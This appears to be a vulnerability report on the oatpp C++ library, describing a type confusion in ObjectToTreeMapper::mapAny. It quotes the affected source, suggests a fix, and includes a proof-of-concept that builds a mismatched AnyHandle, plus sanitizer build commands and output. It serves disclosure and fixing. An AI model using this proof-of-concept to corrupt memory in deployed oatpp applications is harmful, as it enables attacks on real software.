Type confusion in 'ObjectToTreeMapper::mapAny'
Summary
AnyHandle stores a shared_ptr<void> next to a const Type* and nothing verifies that the two describe the same object. mapAny reads both fields directly and builds a fresh oatpp::Void from them, which promotes an unvalidated pair into a first-class type tag that the rest of the library trusts. Any::retrieve performs exactly the check that is missing here, and this mapAny bypasses it.
Details
src/oatpp/data/type/Any.hpp:
class AnyHandle : public base::Countable {
public:
AnyHandle(const std::shared_ptr<void>& objPtr, const Type* const objType)
: ptr(objPtr), type(objType) {}
std::shared_ptr<void> ptr;
const Type* const type;
};Two independent fields, a public constructor taking them separately, and no invariant tying them together.
src/oatpp/data/mapping/ObjectToTreeMapper.cpp:114-121:
114 void ObjectToTreeMapper::mapAny(const ObjectToTreeMapper* mapper, State& state, const oatpp::Void& polymorph) {
...
119 auto anyHandle = static_cast<data::type::AnyHandle*>(polymorph.get());
120 mapper->map(state, oatpp::Void(anyHandle->ptr, anyHandle->type));
121 }Line 120 constructs a Void from the handle's two fields as-is. From that point on the pair is indistinguishable from a legitimately typed value, and every consumer downstream keys off it.
The check that should be here already exists in Any::retrieve (src/oatpp/data/type/Any.cpp:71-79):
71 Void Any::retrieve(const Type* type) const {
72 if(m_ptr) {
73 if(!m_ptr->type->extends(type)) {
74 throw std::runtime_error("[oatpp::data::type::Any::retrieve()]: Error. The value type doesn't match.");
75 }
...and it is the one guard in this codebase that gets the subtype direction right, stored extends requested. mapAny reads the fields instead of calling it.
Fix: route mapAny through retrieve, or repeat the check at line 119.
Validating the pair once in AnyHandle's constructor and treating it as an invariant thereafter would be better... (Just my think)
PoC
poc_ObjectToTreeMapper_mapAny.cpp:
class MyDto : public oatpp::DTO {
DTO_INIT(MyDto, DTO)
DTO_FIELD(String, a);
DTO_FIELD(String, b);
};
// A std::string payload, honestly allocated - but the handle is told it is a MyDto.
auto handle = std::make_shared<oatpp::data::type::AnyHandle>(
std::make_shared<std::string>("not-a-dto"),
oatpp::Object<MyDto>::Class::getType());
oatpp::Any any(handle, nullptr);
oatpp::json::ObjectMapper mapper;
auto out = mapper.writeToString(any);
// mapAny (:119,:120) -> map -> mapObject
// -> static_cast<oatpp::BaseObject*>(polymorph.get()) ObjectToTreeMapper.cpp:260
// -> field->get(object) -> BaseObject::Property::get Object.cpp:99Build and run:
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
-fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
poc_ObjectToTreeMapper_mapAny.cpp liboatpp.a -lpthread -o poc_ObjectToTreeMapper_mapAny
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0:print_stacktrace=1 ./poc_ObjectToTreeMapper_mapAnyUBSan output:
src/oatpp/data/type/Object.cpp:99:18: runtime error: member call on address 0x... which does not
point to an object of type '...'
0x...: note: object has a possibly invalid vptr: abs(offset to top) too big
#0 in oatpp::data::type::BaseObject::Property::get(BaseObject*) const src/oatpp/data/type/Object.cpp
#1 in oatpp::data::mapping::ObjectToTreeMapper::mapObject(...) src/oatpp/data/mapping/ObjectToTreeMapper.cpp
#2 in oatpp::data::mapping::ObjectToTreeMapper::map(...) src/oatpp/data/mapping/ObjectToTreeMapper.cpp
#3 in oatpp::data::mapping::ObjectToTreeMapper::mapAny(...) src/oatpp/data/mapping/ObjectToTreeMapper.cppA second report follows at src/oatpp/data/type/Object.cpp:38:71 for the member access itself.
The promoted tag says Object<MyDto>, so mapObject casts the std::string to BaseObject* and makes a virtual call on it.
Impact
virtual call and a member access on an object that is not of the assumed type. The pointer is honest and the tag is the lie, so the confusion propagates rather than faulting at the point it was introduced. The broader consequence is that mapAny is the entry point for several of the other findings in this set: the mapPrimitive size mismatch read and the mapTree wild dereference both arrive through the Void this function manufactures.
Reachability is application level:
- constructing an
AnyHandlewhose fields disagree.
Source: oatpp/oatpp